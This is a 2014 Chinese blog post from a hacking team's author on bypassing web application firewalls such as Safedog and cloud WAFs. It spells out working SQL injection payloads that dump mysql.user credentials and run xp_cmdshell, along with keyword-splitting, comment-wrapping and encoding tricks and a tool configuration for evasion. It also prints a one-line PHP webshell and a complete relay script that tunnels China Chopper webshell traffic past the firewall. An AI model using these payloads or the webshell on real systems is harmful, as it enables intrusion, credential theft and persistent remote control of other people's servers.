注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 
 
 

日志

 
 

浅谈WAF的绕过(附过狗方法)  

2014-05-01 12:33:10|  分类: WAF绕过 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

Author:Sudo

Team:F4ck Team


0x01 前言

目前市场上的WAF主要有以下几类

1. 以安全狗为代表的基于软件WAF

2. 百度加速乐、安全宝等部署在云端的WAF

3. 硬件WAF

WAF的检测主要有三个阶段,我画了一张图进行说明

1.png



本文主要总结的就是针对上面的三个阶段的绕过策略。小菜一枚,欢迎拍砖。


0x02 WAF身份认证阶段的绕过

WAF是有一个白名单的,在白名单内的客户请求将不做检测


绕过策略一:伪造搜索引擎

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击,论坛blacksplit大牛有一篇关于这个的文章,还有利用工具

Link http://sb.f4ck.org/forum.php?mod=viewthread&tid=11254

这里推荐一个谷歌插件,可以修改User-Agent,叫User-Agent Switcher

2.png



绕过策略二:伪造白名单特殊目录

360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截

比如

  1. GET /pen/news.php?id=1 union select user,password from mysql.user
复制代码

可以改为

  1. GET /pen/news.php/admin?id=1 union select user,password from mysql.user
复制代码

或者

  1. GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user
复制代码

详细的见wooyun-2014-050576

Link http://paper.wooyun.org/bugs/wooyun-2014-050576


绕过策略三:直接攻击源站

这 个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进 行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,这个我也没有找到太好的例子,就不多做说明 了。


0x03 WAF数据包解析阶段的绕过


绕过策略一:编码绕过

最常见的方法之一,可以进行urlencode

3.png


早期的方法,现在效果不是太好


绕过策略二:修改请求方式绕过

我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

还有就是参数污染,最近的一个典型例子就是wooyun社区给出的multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。

详情看http://zone.wooyun.org/content/11423


绕过策略三:复参数绕过

例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版安全狗能绕过部分语句


0x04 WAF触发规则的绕过

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。


绕过策略一:特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格


绕过策略二:特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

比如

  1. GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
复制代码

可以改为

  1. GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
复制代码

绕过策略三:注释包含关键字

在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的安全狗可以完美绕过。

例如

  1. GET /pen/news.php?id=1 union select user,password from mysql.user
复制代码

可以改为

  1. GET /pen/news.php?id=1 /*!union*/ /*!select*/  user,password /*!from*/ mysql.user
复制代码

这方面文章很多,比如bystander在论坛发的这篇文章

http://sb.f4ck.org/forum.php?mod=viewthread&tid=7975

平时自己收集的一些方法,今天总结了一下,抛砖引玉,欢迎大家补充。



附上过最新安全狗方法

好吧,我觉得很多人是为了过来看这个的。= =!

只能用于mysql数据库

其实文章里已经写了一种了 就是利用/*!*/包含关键词进行绕过,不过这种方法要手工注入,懒人们肯定不喜欢,附上一种工具绕过的方法

把空格替换成%0a/**/可以绕过最新版本安全狗

在Pangolin中 点击 编辑 配置 高级 选择替换空格使用

填上%0a/**/即可

4.png


过狗的小马我一直用这个

  1. <?php $a=$_GET['a'];$a($_POST['cmd']);?>
复制代码

这个 虽然不会被杀 但是菜刀连接会被拦截

我是用sunshine大牛的中转方法绕过的。

详情看http://zone.wooyun.org/content/10278

脚本:

  1. <?php
  2. $webshell="http://192.168.204.2/pen/1.php?a=assert";//把这里改成你的shell地址
  3. $webshell=$webshell."&1141056911=base64_decode";

  4. $da=$_POST;
  5. $data = $da;
  6. @$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](

  7. //print_r($data);

  8. $data = http_build_query($data);   
  9. $opts = array (   
  10. 'http' => array (   
  11. 'method' => 'POST',   
  12. 'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .   
  13. "Content-Length: " . strlen($data) . "\r\n",   
  14. 'content' => $data)
  15. );
  16.    
  17. $context = stream_context_create($opts);   
  18. $html = @file_get_contents($webshell, false, $context); //发送post   
  19. echo $html;   


  20. ?>
复制代码
  评论这张
 
阅读(97)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017